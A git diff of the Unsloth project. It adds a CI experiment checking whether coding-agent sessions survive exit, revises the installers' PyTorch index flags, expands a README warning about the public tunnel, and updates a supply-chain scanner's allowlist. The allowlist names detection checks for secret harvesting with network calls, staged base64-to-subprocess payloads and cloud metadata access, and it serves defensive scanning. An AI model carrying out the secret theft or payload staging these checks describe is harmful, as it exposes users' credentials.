diff --git a/.github/scripts/agent-guides-drive.sh b/.github/scripts/agent-guides-drive.sh index defdb498c7..f4189a159e 100755 --- a/.github/scripts/agent-guides-drive.sh +++ b/.github/scripts/agent-guides-drive.sh @@ -527,6 +527,154 @@ case "$MODE" in echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)" ;; + # ── resume: does a launched agent's session survive exit and resume? ──── + # Unlike the other modes, this drives the real LAUNCH path (`unsloth start + # ...`, the interactive default), not the --no-launch recipe. That + # path relocates each agent's home to a throwaway temp dir wiped on exit, so + # a session cannot be resumed -- unless --persist routes it to the stable + # Unsloth agents dir instead. We run one headless turn per pass and check + # whether the turn left a session in a persistent store (deterministic, no + # reliance on the model recalling anything), for a baseline pass and a + # --persist pass, and assert the expected split for this agent. + resume) + CODEWORD="PLATYPUS7" + T1="Remember this codeword for later: ${CODEWORD}. Reply with just the word OK." + T2="What codeword did I ask you to remember? Reply with just that word." + WORK="$WORKDIR_BASE/${AGENT}-resume" + + # STABLE_HOME: the stable dir that --no-launch (and --persist) relocate to. + # Read it from a --no-launch probe (which also writes the agent's config + # there). codex/pi relocate their whole home/HOME here; opencode/claude keep + # their session data in a fixed user dir, so STABLE_HOME stays empty for them. + parse_connect + case "$AGENT" in + codex) STABLE_HOME="$(raw_env CODEX_HOME)" ;; + pi) STABLE_HOME="$(raw_env HOME)" ;; + *) STABLE_HOME="" ;; + esac + + # The persistent stores a session would land in if it were NOT wiped. We + # count files here before/after each turn; a positive delta means the + # session persisted (is resumable), zero means it went to a wiped temp dir. + resume_tracked_dirs() { + case "$AGENT" in + codex) printf '%s\n' "$HOME/.codex" ;; + opencode) printf '%s\n' "$HOME/.local/share/opencode" "$HOME/.config/opencode" ;; + claude) printf '%s\n' "$HOME/.claude" ;; + pi) printf '%s\n' "$HOME/.pi" ;; + *) : ;; + esac + [ -n "$STABLE_HOME" ] && printf '%s\n' "$STABLE_HOME" + } + count_session_files() { + local total=0 d n + while IFS= read -r d; do + [ -n "$d" ] && [ -d "$d" ] || continue + n="$(find "$d" -type f 2>/dev/null | wc -l)"; total=$((total + n)) + done < <(resume_tracked_dirs) + echo "$total" + } + + # The headless first-turn subcommand per agent (mirrors file-edit's map), + # forwarded verbatim through the launch path as passthrough args. + set_t1_cmd() { + case "$AGENT" in + claude) T1_CMD=("${CLAUDE_CONNECT_FLAGS[@]}" -p "$T1") ;; + codex) T1_CMD=(exec "$T1") ;; + opencode) T1_CMD=(run "$T1") ;; + pi) T1_CMD=(-p "$T1") ;; + *) guide_fail "resume mode does not cover agent '$AGENT'" ;; + esac + } + + # Run one headless turn through the launch path. $1=outfile, $2="" or + # "--persist", rest = the agent subcommand. --yolo auto-approves so no tool + # prompt can hang; --api-key attaches to the already-served CI model. + launch_turn() { + local out="$1" rflag="$2"; shift 2 + local flag=(); [ -n "$rflag" ] && flag=("$rflag") + run_timed "$out" unsloth start "$AGENT" "${flag[@]}" --yolo \ + --api-key "$UNSLOTH_API_KEY" "$@" + local rc=$? + redact "$out" + return "$rc" + } + + # One pass: fresh work dir, one planting turn, set RESULT to PERSISTED/WIPED + # from the session-store delta. Runs in the main shell (not a command + # substitution) so a hang's guide_fail actually fails the job and the + # progress lines reach the CI log. $1 = "" (baseline) or "--persist". + RESULT="" + run_pass() { + local rflag="$1" label="baseline" + [ -n "$rflag" ] && label="resume" + rm -rf "$WORK"; mkdir -p "$WORK" + set_t1_cmd + local out="$LOGS_DIR/${AGENT}-resume-${label}.txt" + local before after rc + before="$(count_session_files)" + pushd "$WORK" >/dev/null || guide_fail "could not enter work dir $WORK" + launch_turn "$out" "$rflag" "${T1_CMD[@]}"; rc=$? + popd >/dev/null || true + after="$(count_session_files)" + echo "[$AGENT] ${label}: session files ${before} -> ${after} (rc=${rc})" + # The turn must succeed for the delta to mean anything: an agent that writes a + # session file then errors would otherwise be misread as PERSISTED. Mirror the + # file-edit mode and fail the pass on a non-zero launch (the flagship codex recall + # below stays WARN-only, driven by its own launch_turn calls). + [ "$rc" -eq 0 ] || { echo "[$AGENT] ${label} transcript (tail):"; tail -30 "$out" 2>/dev/null || true; \ + guide_fail "resume ${label} turn for ${AGENT} exited non-zero (rc=${rc})"; } + if [ "$after" -gt "$before" ]; then RESULT="PERSISTED"; else RESULT="WIPED"; fi + } + + run_pass ""; BASELINE="$RESULT" + # Only the temp-dir agents (codex/pi) need the --persist pass to prove the fix. + # opencode/claude persist either way, so the baseline already proves it and a + # second full CPU turn only risks a timeout; skip it for them. + case "$AGENT" in + codex|pi) run_pass "--persist"; RESUME="$RESULT" ;; + *) RESUME="n/a (persists either way)" ;; + esac + + # Expected: codex/pi relocate their whole home to the temp dir, so a plain + # launch is WIPED and only --persist PERSISTS. opencode/claude keep their + # session data in a fixed user dir, so the baseline already PERSISTS. + case "$AGENT" in + codex|pi) EXPECT_BASELINE="WIPED" ;; + opencode|claude) EXPECT_BASELINE="PERSISTED" ;; + esac + + echo "──────────────────────────────────────────────" + echo "[$AGENT] RESUME EXPERIMENT" + echo " baseline (unsloth start ${AGENT}): ${BASELINE} (expected ${EXPECT_BASELINE})" + echo " with --persist (unsloth start ${AGENT} --persist): ${RESUME}" + echo "──────────────────────────────────────────────" + + [ "$BASELINE" = "$EXPECT_BASELINE" ] \ + || guide_fail "baseline resume behavior for ${AGENT} was ${BASELINE}, expected ${EXPECT_BASELINE}" + case "$AGENT" in + codex|pi) + [ "$RESUME" = "PERSISTED" ] \ + || guide_fail "--persist did not persist ${AGENT}'s session (got ${RESUME}); the session dir is still not stable" ;; + esac + + # Flagship behavioral proof (codex only, WARN-only): after a --persist plant, + # resume the session and check the model actually recalls the codeword. A + # miss is not a failure (the CI model is small); the mechanism gate above is + # the real assertion. + if [ "$AGENT" = "codex" ]; then + rm -rf "$WORK"; mkdir -p "$WORK" + ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-plant.txt" "--persist" exec "$T1" ) || true + ( cd "$WORK" && launch_turn "$LOGS_DIR/codex-resume-recall.txt" "--persist" exec resume --last "$T2" ) || true + if grep -q "$CODEWORD" "$LOGS_DIR/codex-resume-recall.txt" 2>/dev/null; then + echo "[codex] behavioral recall HIT: resumed session remembered ${CODEWORD}" + else + echo "::warning::[codex] behavioral recall MISS (small CI model); mechanism gate still passed" + fi + fi + echo "[$AGENT] resume OK" + ;; + *) echo "agent-guides-drive.sh: unknown mode '$MODE'" >&2 exit 2 diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml index 47f75dc1ba..25796bd5cf 100644 --- a/.github/workflows/local-agent-guides-ci.yml +++ b/.github/workflows/local-agent-guides-ci.yml @@ -471,6 +471,176 @@ jobs: redacted-configs/ retention-days: 7 + # ═════════════════════════════════════════════════════════════════════ + # Job: resume + # Does a conversation started with `unsloth start ` survive exit + # and resume? This drives the REAL launch path (not the --no-launch + # recipe the other jobs use). A plain launch relocates the agent home to + # a temp dir wiped on exit, so codex/pi cannot resume; --persist routes the + # session to the stable Unsloth agents dir so it persists. opencode/claude + # keep their session data in a fixed user dir, so they persist either way. + # Dispatch-only: it is an end-to-end experiment, not a PR gate. + # ═════════════════════════════════════════════════════════════════════ + resume: + name: resume (${{ matrix.agent }}) + if: github.event_name == 'workflow_dispatch' + runs-on: ubuntu-latest + timeout-minutes: 60 + strategy: + fail-fast: false + matrix: + # codex/pi relocate their whole home (resume broken without --persist); + # opencode/claude keep session data in a fixed dir (resume already works). + # One agent from each class proves the split end to end; openclaw/hermes + # share codex's relocation mechanism and are covered by the unit tests. + agent: [codex, opencode, claude, pi] + env: + GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF + GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf + STUDIO_PORT: '18904' + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Linux deps for llama.cpp prebuilt + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends \ + libcurl4-openssl-dev libssl-dev jq + + - uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6.4.0 + with: + node-version: '22' + + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + + - name: Restore GGUF model file + id: cache-gguf + uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + continue-on-error: true + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Download GGUF if cache miss + id: download-gguf + if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' + env: + HF_TOKEN: ${{ secrets.HF_TOKEN }} + run: | + python -m pip install --upgrade huggingface_hub + mkdir -p gguf-cache + bash .github/scripts/hf-download-with-retry.sh "$GGUF_REPO" "$GGUF_FILE" gguf-cache + + - name: Save GGUF model file + if: always() && steps.download-gguf.outcome == 'success' + uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5 + with: + path: gguf-cache + key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 + + - name: Install Studio (--local, --no-torch) + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + HF_TOKEN: ${{ secrets.HF_TOKEN }} + run: | + mkdir -p logs + set -o pipefail + bash install.sh --local --no-torch 2>&1 | tee logs/install.log + + - name: Serve unsloth run --disable-tools (gemma-4-E4B) + run: | + unsloth studio reset-password + bash .github/scripts/serve-unsloth-run.sh \ + --gguf-file "$GITHUB_WORKSPACE/gguf-cache/${GGUF_FILE}" \ + --port "$STUDIO_PORT" --log-dir logs \ + --extra "--seed $UNSLOTH_SEED --temp 0" \ + --health-timeout 900 + + - name: Preflight the agent's API dialect (class-a isolation) + env: + AGENT: ${{ matrix.agent }} + run: | + set -uo pipefail + B="$UNSLOTH_BASE_URL"; K="$UNSLOTH_API_KEY" + preflight_fail() { + echo "::error::[server/API regression] agent=$AGENT: $* (preflight failed BEFORE install/connect). Endpoint contract lives in studio/backend/routes/**."; + exit 1 + } + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/models" \ + -H "Authorization: Bearer $K") || true + [ "$code" = "200" ] || preflight_fail "/v1/models returned HTTP $code" + case "$AGENT" in + claude) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/messages" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/messages returned HTTP $code" + ;; + codex) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/responses" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"input\":\"Hi\",\"max_output_tokens\":16,\"stream\":true}") || true + [ "$code" = "200" ] || preflight_fail "/v1/responses returned HTTP $code" + ;; + *) + code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \ + -H "Authorization: Bearer $K" -H 'content-type: application/json' \ + --max-time 120 \ + -d "{\"model\":\"$UNSLOTH_MODEL_ID\",\"max_tokens\":16,\"messages\":[{\"role\":\"user\",\"content\":\"Hi\"}]}") || true + [ "$code" = "200" ] || preflight_fail "/v1/chat/completions returned HTTP $code" + ;; + esac + echo "preflight OK for $AGENT" + + - name: Install agent CLI (class-b isolation) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-install.sh "$AGENT" + + - name: Resume experiment (launch path) + env: + AGENT: ${{ matrix.agent }} + run: bash .github/scripts/agent-guides-drive.sh resume "$AGENT" + + - name: Collect server logs (debug) + if: always() + run: | + mkdir -p logs/studio-logs + cp -r "$HOME/.unsloth/studio/logs/." logs/studio-logs/ 2>/dev/null || true + if [ -n "${UNSLOTH_API_KEY:-}" ]; then + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do + sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true + done + fi + + - name: Stop Studio + if: always() + run: | + if [ -n "${UNSLOTH_SERVER_PID:-}" ] && [ "${UNSLOTH_SERVER_PID}" != "0" ]; then + kill "${UNSLOTH_SERVER_PID}" 2>/dev/null || true + fi + sleep 2 + ss -tln 2>/dev/null | grep ":${STUDIO_PORT}" || true + + - name: Upload logs + if: always() + continue-on-error: true + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: resume-${{ matrix.agent }}-log + path: | + logs/ + agent-workdir/ + redacted-configs/ + retention-days: 7 + # ═════════════════════════════════════════════════════════════════════ # Job 3: prompt-cache # (a) curl 2-turn /v1/chat/completions: assert turn-2 cached_tokens > 0 diff --git a/.github/workflows/security-audit.yml b/.github/workflows/security-audit.yml index 0ef2ad1e9d..1275d12216 100644 --- a/.github/workflows/security-audit.yml +++ b/.github/workflows/security-audit.yml @@ -2,8 +2,8 @@ # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. # Multi-language supply-chain audit. Triggers: -# - PRs touching any dependency manifest (Python / npm / Cargo) or -# this workflow file, +# - PRs touching any dependency manifest (Python / npm / Cargo), a +# scanner or its allowlist baseline, or this workflow file, # - push to main / pip, # - nightly @ 04:13 UTC so newly-published advisories surface even # when no PR opens, @@ -57,7 +57,9 @@ on: - 'studio/src-tauri/Cargo.lock' - 'pyproject.toml' - 'scripts/scan_packages.py' + - 'scripts/scan_packages_baseline.json' - 'scripts/scan_npm_packages.py' + - 'scripts/scan_npm_packages_baseline.json' - '.github/workflows/security-audit.yml' push: branches: [main, pip] diff --git a/README.md b/README.md index e3fd4e6980..849ee2e87b 100644 --- a/README.md +++ b/README.md @@ -212,7 +212,7 @@ By default `unsloth studio` binds to `127.0.0.1` (this machine only). To reach i ```bash unsloth studio --secure -p 8888 ``` -- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. Only use this on a trusted network. +- `-H 0.0.0.0`: bind the raw port on all network interfaces, reachable from anywhere on the network. This also starts a public Cloudflare quick tunnel by default, which publishes an internet-reachable `https://*.trycloudflare.com` URL even behind a firewall. Both the raw port and the tunnel expose Studio beyond this machine, so only use this on a network you trust; pass `--no-cloudflare` to drop the public link while keeping the network bind. ```bash unsloth studio -H 0.0.0.0 -p 8888 ``` diff --git a/install.ps1 b/install.ps1 index 696f4e613a..0797cd3868 100644 --- a/install.ps1 +++ b/install.ps1 @@ -469,6 +469,17 @@ function Install-UnslothStudio { param( [Parameter(Mandatory = $true)][ScriptBlock]$Command ) + # Installer-pinned index installs (torch) must beat an inherited uv mirror + # (#6898): when the command pins an index, clear every uv index env var so + # it wins, then restore in finally. Other installs keep the user's mirror. + $savedUvIndex = $null + if ($Command.ToString() -match '--default-index') { + $savedUvIndex = @{} + foreach ($n in 'UV_DEFAULT_INDEX', 'UV_INDEX_URL', 'UV_INDEX', 'UV_EXTRA_INDEX_URL') { + $savedUvIndex[$n] = [Environment]::GetEnvironmentVariable($n) + Remove-Item "Env:$n" -ErrorAction SilentlyContinue + } + } $prevEap = $ErrorActionPreference $ErrorActionPreference = "Continue" try { @@ -488,6 +499,7 @@ function Install-UnslothStudio { return [int]$LASTEXITCODE } finally { $ErrorActionPreference = $prevEap + if ($savedUvIndex) { foreach ($n in $savedUvIndex.Keys) { if ($null -ne $savedUvIndex[$n]) { Set-Item "Env:$n" $savedUvIndex[$n] } } } } } @@ -2200,7 +2212,7 @@ exit 0 # ABI-incompatible torchvision/torchaudio on AMD's per-arch index. $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" } $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" } - $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec $visionSpec $audioSpec } + $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $torchSpec $visionSpec $audioSpec } if ($torchInstallExit -ne 0) { # Transient AMD-index failure: fall back to a CPU base so the install # still completes; Studio setup retries ROCm afterwards. @@ -2209,7 +2221,7 @@ exit 0 # torch (e.g. 2.10.0+rocm on gfx110X/gfx90a) that still satisfies the CPU # torch>= range, so without it uv would keep the ROCm build and only swap # the companions -- a mismatched venv the flavor-repair block won't fix. - $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl } + $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl } if ($torchInstallExit -ne 0) { Write-Host "[ERROR] Failed to install PyTorch (ROCm and CPU base both failed, exit code $torchInstallExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit) @@ -2223,7 +2235,7 @@ exit 0 } else { Write-TauriLog "STEP" "Installing PyTorch" substep "installing PyTorch ($TorchIndexUrl)..." - $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl } + $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl } if ($torchInstallExit -ne 0) { Write-Host "[ERROR] Failed to install PyTorch (exit code $torchInstallExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit) @@ -2306,7 +2318,7 @@ exit 0 # keeps a stale torch==X+cpu against a CUDA index and setup.ps1 then loops on # "torch cpu != required cuXXX". Reinstall the right triplet when a GPU build is # expected: CUDA from $TorchIndexUrl, ROCm from $ROCmIndexUrl (repo.amd.com gfx* - # is a PEP 503 index uv resolves via --index-url, same URL the fresh ROCm install + # is a PEP 503 index uv resolves via --default-index, same URL the fresh ROCm install # above uses). --no-torch / CPU-only hosts (expected cpu) are no-ops. if (-not $SkipTorch) { $expectedTorchTag = Get-ExpectedTorchFlavorTag -TorchIndexUrl $TorchIndexUrl -ROCmIndexUrl $ROCmIndexUrl @@ -2322,7 +2334,7 @@ exit 0 $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" } $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" } substep "PyTorch flavor mismatch (installed $installedTorchTag, need ROCm) -- reinstalling correct build..." "Yellow" - $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec } + $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec } if ($torchFixExit -ne 0) { Write-Host "[ERROR] Failed to reinstall PyTorch with the correct ROCm build (exit code $torchFixExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to reinstall PyTorch (ROCm) (exit code $torchFixExit)" $torchFixExit) @@ -2331,7 +2343,7 @@ exit 0 } elseif ($expectedTorchTag -ne 'rocm') { # CUDA: stale +cpu (or wrong cuXXX) against a CUDA index -> reinstall triplet. substep "PyTorch flavor mismatch (installed $installedTorchTag, need $expectedTorchTag) -- reinstalling correct build..." "Yellow" - $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio } + $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --default-index $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio } if ($torchFixExit -ne 0) { Write-Host "[ERROR] Failed to reinstall PyTorch with the correct CUDA build (exit code $torchFixExit)" -ForegroundColor Red return (Exit-InstallFailure "Failed to reinstall PyTorch ($expectedTorchTag) (exit code $torchFixExit)" $torchFixExit) diff --git a/install.sh b/install.sh index 0acc9ec0be..3f4ea92387 100755 --- a/install.sh +++ b/install.sh @@ -159,6 +159,12 @@ run_maybe_quiet() { run_install_cmd() { _label="$1" shift + # Installer-pinned index installs (torch) must beat an inherited uv mirror + # (#6898): when we pass --default-index, neutralize every uv index env var so + # the pinned index wins. Other installs keep the user's mirror. + case " $* " in + *" --default-index "*) set -- env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL "$@" ;; + esac if _is_verbose; then "$@" && return 0 _rc=$? @@ -2190,9 +2196,9 @@ _expected_torch_flavor_tag() { esac } -# Whether index ($1) supports a plain --index-url reinstall. pytorch.org cuXXX / +# Whether index ($1) supports a plain --default-index reinstall. pytorch.org cuXXX / # rocmX.Y AND the repo.amd.com gfx* indexes are all PEP 503 simple indexes that uv -# resolves (torch + every transitive dep) via --index-url -- the same URLs the +# resolves (torch + every transitive dep) via --default-index -- the same URLs the # fresh-install paths above already use -- so a stale wheel is auto-repairable. # Unknown/odd-mirror leaves -> no, so we warn rather than risk a wrong reinstall. _torch_index_repairable() { @@ -2744,7 +2750,7 @@ if [ "$_MIGRATED" = true ]; then substep "repairing ROCm torch (overwritten by dependency resolution)..." run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \ "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" \ + --default-index "$TORCH_INDEX_URL" \ --force-reinstall fi ;; @@ -2870,7 +2876,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then substep "[WARN] Radeon repo lacks a compatible wheel set for this Python; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN" run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \ "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" + --default-index "$TORCH_INDEX_URL" else substep "installing PyTorch from Radeon repo (${_RADEON_BASE_URL})..." # Pass explicit wheel URLs so the matched trio is @@ -2893,18 +2899,18 @@ elif [ -n "$TORCH_INDEX_URL" ]; then substep "[WARN] Radeon repo unavailable; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN" run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \ "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" + --default-index "$TORCH_INDEX_URL" fi else substep "[WARN] Radeon GPU detected but could not detect full ROCm version; falling back to ROCm index" "$C_WARN" run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \ "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" + --default-index "$TORCH_INDEX_URL" fi else substep "installing PyTorch ($TORCH_INDEX_URL)..." run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" + --default-index "$TORCH_INDEX_URL" fi # AMD ROCm: install bitsandbytes (once, after torch, for all ROCm paths). # Gate on SKIP_TORCH=false so a user running with --no-torch on a ROCm @@ -2964,7 +2970,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then substep "repairing ROCm torch (overwritten by dependency resolution)..." run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \ "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" \ + --default-index "$TORCH_INDEX_URL" \ --force-reinstall fi ;; @@ -2999,14 +3005,14 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true) _installed_torch_tag="" [ -n "$_installed_torch_ver" ] && _installed_torch_tag=$(_torch_flavor_tag "$_installed_torch_ver") - # Repair when flavor is wrong AND the index is plain --index-url reinstallable + # Repair when flavor is wrong AND the index is plain --default-index reinstallable # (cuXXX / rocmX.Y / repo.amd.com gfx*); an unknown mirror leaf -> warn only. if [ -n "$_installed_torch_tag" ] && [ "$_installed_torch_tag" != "$_expected_torch_tag" ] \ && [ "$(_torch_index_repairable "$TORCH_INDEX_URL")" = "yes" ]; then substep "PyTorch flavor mismatch (installed $_installed_torch_tag, need $_expected_torch_tag) -- reinstalling correct build..." run_install_cmd "reinstall PyTorch ($_expected_torch_tag)" uv pip install --python "$_VENV_PY" \ "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" \ + --default-index "$TORCH_INDEX_URL" \ --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true) _installed_torch_tag="" @@ -3017,7 +3023,7 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then substep "[WARN] PyTorch is CPU-only but a $_expected_torch_tag GPU build was expected for this machine." "$C_WARN" substep "[WARN] Training and GPU inference will run on CPU until this is fixed." "$C_WARN" substep "[WARN] Re-run this installer, or reinstall the GPU build manually:" "$C_WARN" - substep "[WARN] uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --index-url $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN" + substep "[WARN] uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --default-index $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN" fi fi fi diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json index f35cfc8d87..3582517d31 100644 --- a/scripts/scan_packages_baseline.json +++ b/scripts/scan_packages_baseline.json @@ -1,1574 +1,1534 @@ { - "_comment": "scan_packages.py allowlist. Each entry is a CRITICAL/HIGH finding manually judged benign. Matched on (package, package-relative file, check, evidence_hash); evidence_hash is over the matched code with L: markers stripped, so version bumps and line shifts do not reopen an entry but changed code does. severity and evidence are for review only. Regenerate with --write-baseline AFTER reviewing every line.", - "version": 1, - "entries": [ - { - "package": "attrs", - "file": "attr/_make.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)", - "evidence_hash": "4296497d084a3db48c6745dd177974d5052589d242b57a67e37af72418549c61" - }, - { - "package": "beartype", - "file": "beartype/_util/func/utilfuncmake.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)", - "evidence_hash": "48d12481c4550ceeff4ed66d037a5fd61183d2be574516df10949ac7abe582ed" - }, - { - "package": "botocore", - "file": "botocore/credentials.py", - "check": "base64 decode + subprocess execution (staged payload)", - "severity": "CRITICAL", - "evidence": "Base64: L2714: return EC.new_key_from_der_data(base64.b64decode(contents))\nSubprocess: L1072: def __init__(self, profile_name, load_config, popen=subprocess.Popen):", - "evidence_hash": "1008baa37a26866b477be20db0b3e6ce451e22ff26ae1ed43e9a0a15b71c6be6" - }, - { - "package": "botocore", - "file": "botocore/httpsession.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L186: sslkeylogfile = os.environ.get(\"SSLKEYLOGFILE\")\nNetwork: L477: urllib_response = conn.urlopen(\nL478: method=request.method,\nL479: url=request_target,\nL480: body=request.body,\nL481: headers=request.headers,\nL482: retries=Retry(False),\nL483: assert_same_host=False,\nL484: preload_content=False,\nL485: decode_content=False,\nL486: chunked=self._chunked(request.headers),\nL487: )", - "evidence_hash": "84d1912211c26294d7648176ae495b21b906a262de767c7238c2dba5d4be852f" - }, - { - "package": "botocore", - "file": "botocore/utils.py", - "check": "Accesses cloud metadata/IMDS AND makes network calls", - "severity": "CRITICAL", - "evidence": "IMDS: L100: METADATA_BASE_URL = 'http://169.254.169.254/' | L560: error_msg=\"Unable to retrieve token for use in IMDSv2 call and IMDSv1 has been disabled\" | L3072: IP_ADDRESS = '169.254.170.2' | L3075: '169.254.170.23',\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", - "evidence_hash": "a827f57c1d53a4a6b76728785cf57d2396750ae0163a6abdf9617268146ccf66" - }, - { - "package": "botocore", - "file": "botocore/utils.py", - "check": "Harvests environment variables/secrets AND makes network calls", - "severity": "CRITICAL", - "evidence": "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies, proxy_bypass", - "evidence_hash": 